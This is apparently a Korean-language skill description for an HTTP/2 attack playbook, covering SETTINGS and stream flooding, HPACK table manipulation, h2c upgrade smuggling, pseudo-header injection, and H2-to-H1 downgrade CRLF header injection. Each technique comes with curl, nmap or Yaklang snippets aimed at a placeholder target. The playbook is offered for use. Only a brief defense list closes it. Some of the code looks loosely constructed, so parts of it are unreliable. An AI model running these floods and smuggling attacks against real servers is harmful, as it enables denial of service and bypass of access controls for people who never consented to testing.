http2-specific-attacks은(는) 무엇을 하나요?
HTTP/2 프로토콜 특화 공격 플레이북입니다. 대상이 HTTP/2를 지원하고 이진 프레이밍, HPACK 압축, h2c 업그레이드 스머글링, 의사 헤더 주입, 스트림 멀티플렉싱 악용 또는 H2→H1 다운그레이드 변환 결함을 악용해야 할 때 사용합니다.
개요
HTTP/2는 HTTP/1.1에 비해 성능 향상을 위해 설계된 프로토콜이지만, 새로운 공격 표면을 도입합니다. 이 스킬은 다음과 같은 HTTP/2 특화 공격을 수행하는 방법을 제공합니다:
- 이진 프레이밍 악용: HTTP/2 프레임 구조를 조작하여 서버의 예기치 않은 동작 유발
- HPACK 압축 공격: 헤더 압축 컨텍스트를 오염시켜 정보 누출 또는 서비스 거부 유발
- h2c 업그레이드 스머글링: 일반 HTTP/1.1 연결을 통해 HTTP/2로 업그레이드하여 보안 통제 우회
- 의사 헤더 주입:
:method,:path,:authority등의 의사 헤더 필드를 조작하여 요청 라우팅 우회 - 스트림 멀티플렉싱 악용: 다중 스트림을 사용하여 리소스 고갈 또는 우선순위 위반 공격 수행
- H2→H1 다운그레이드 변환 결함: HTTP/2 프록시가 HTTP/1.1로 변환할 때 발생하는 프로토콜 해석 차이를 악용
사용 방법
이 플레이북을 사용하려면 대상이 HTTP/2를 지원하는지 확인하십시오. HTTP/2 지원 여부는 curl 또는 nmap과 같은 도구로 확인할 수 있습니다.
# ALPN(Application-Layer Protocol Negotiation) 협상을 통해 HTTP/2 지원 확인
curl -v --http2 https://target.com 2>&1 | grep -i "alpn\|h2"
# nmap을 사용하여 HTTP/2 지원 스캔
nmap --script http2-support -p 443 target.com
공격 기법
1. 이진 프레이밍 악용
HTTP/2 프레임 구조를 조작하여 다음과 같은 공격을 수행합니다:
- SETTINGS 프레임 플러딩: 서버가 처리할 수 없을 정도로 많은 SETTINGS 프레임을 전송하여 리소스 소진
- HEADERS 프레임 조작: 잘못된 플래그 또는 길이를 가진 HEADERS 프레임을 전송하여 서버 충돌 유발
- PRIORITY 프레임 스트림: 우선순위 트리를 복잡하게 만들어 CPU 사용량 증가
// Yaklang 예제: SETTINGS 프레임 플러딩
packet = `PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n`
for i in 0..1000 {
ch, err = http2_conn.WriteSettingFrame(settings...)
sleep(0.01)
}
2. HPACK 압축 공격
HPACK 헤더 압축 테이블을 악용하여 정보를 누출합니다:
- 테이블 크기 조작: 동적 테이블 크기를 0으로 설정하여 압축 효율 저하
- 인덱스 충돌: 테이블 인덱스를 조작하여 의사 헤더 덮어쓰기
- 절대 인덱스 참조: 존재하지 않는 인덱스를 참조하여 오류 유발
// Yaklang 예제: HPACK 테이블 크기 조작
http2_conn, err = http2.Dial("https://target.com")
http2_conn.WriteSettings(map[string]interface{}{
"header_table_size": 0
})
3. h2c 업그레이드 스머글링
일반 HTTP/1.1 연결을 통해 HTTP/2로 업그레이드하여 보안 통제를 우회합니다:
# h2c 업그레이드 요청 전송
curl -v --http2-prior-knowledge http://target.com
// Yaklang 예제: h2c 업그레이드
req = `GET / HTTP/1.1\r\nHost: target.com\r\nUpgrade: h2c\r\nHTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA\r\nConnection: Upgrade, HTTP2-Settings\r\n\r\n`
conn, err = tcp.Connect("target.com:80")
conn.Send(req)
resp = conn.Recv()
die(resp)
// 업그레이드 성공 후 HTTP/2 프레임 전송
http2_conn, err = http2.UpgradeClient(conn)
http2_conn.WriteData(1, true, []byte("Hello, HTTP/2!"))
4. 의사 헤더 주입
HTTP/2 의사 헤더를 조작하여 요청 라우팅을 우회합니다:
:scheme변경: HTTP 요청을 HTTPS로 가장:authority스푸핑: 호스트 헤더와 다른 도메인으로 요청:path인코딩 이스케이프: 경로 정규화 우회
// Yaklang 예제: 의사 헤더 주입
headers = [
[":method", "GET"],
[":path", "/admin"],
[":scheme", "https"],
[":authority", "target.com"],
]
http2_conn, err = http2.Dial("https://target.com")
http2_conn.WriteHeaders(1, headers, true)
5. 스트림 멀티플렉싱 악용
여러 스트림을 동시에 열어 리소스 경합을 유발합니다:
- 스트림 ID 충돌: 짝수/홀수 ID를 예측하여 RST_STREAM 오용
- 스트림 의존성 트리 공격: 복잡한 의존성 그래프를 구성하여 서버 CPU 소진
- 흐름 제어 윈도우 고갈: WINDOW_UPDATE 프레임 조작으로 데이터 흐름 차단
// Yaklang 예제: 스트림 플러딩
http2_conn, err = http2.Dial("https://target.com")
for streamID in 1..1000 {
headers = [
[":method", "GET"],
[":path", "/" + str(streamID)],
[":authority", "target.com"],
]
http2_conn.WriteHeaders(streamID, headers, true)
}
6. H2→H1 다운그레이드 변환 결함
HTTP/2 프록시가 HTTP/1.1로 변환할 때 발생하는 프로토콜 해석 차이를 악용합니다:
- 의사 헤더를 일반 헤더로 변환:
:method가 일반 헤더로 변환될 때 HTTP 메서드 조작 가능 - 호스트 헤더 주입:
:authority를 호스트 헤더로 변환할 때 추가 헤더 주입 - 내부 IP 노출:
X-Forwarded-For헤더 변환 과정에서 내부 IP 누출
// Yaklang 예제: H2→H1 변환 악용
headers = [
[":method", "GET"],
[":path", "/api/v1/user"],
[":scheme", "https"],
[":authority", "target.com\r\nX-Internal: true"], // 호스트 주입 시도
]
http2_conn, err = http2.Dial("https://proxy.com")
http2_conn.WriteHeaders(1, headers, true)
방어 방법
- HTTP/2 프레임 유효성 검사 강화
- HPACK 테이블 크기 제한
- h2c 업그레이드 비활성화 (필요하지 않은 경우)
- 의사 헤더 필터링 및 정규화
- 스트림 제한 및 흐름 제어 적용
- H2→H1 변환 시 엄격한 검증 수행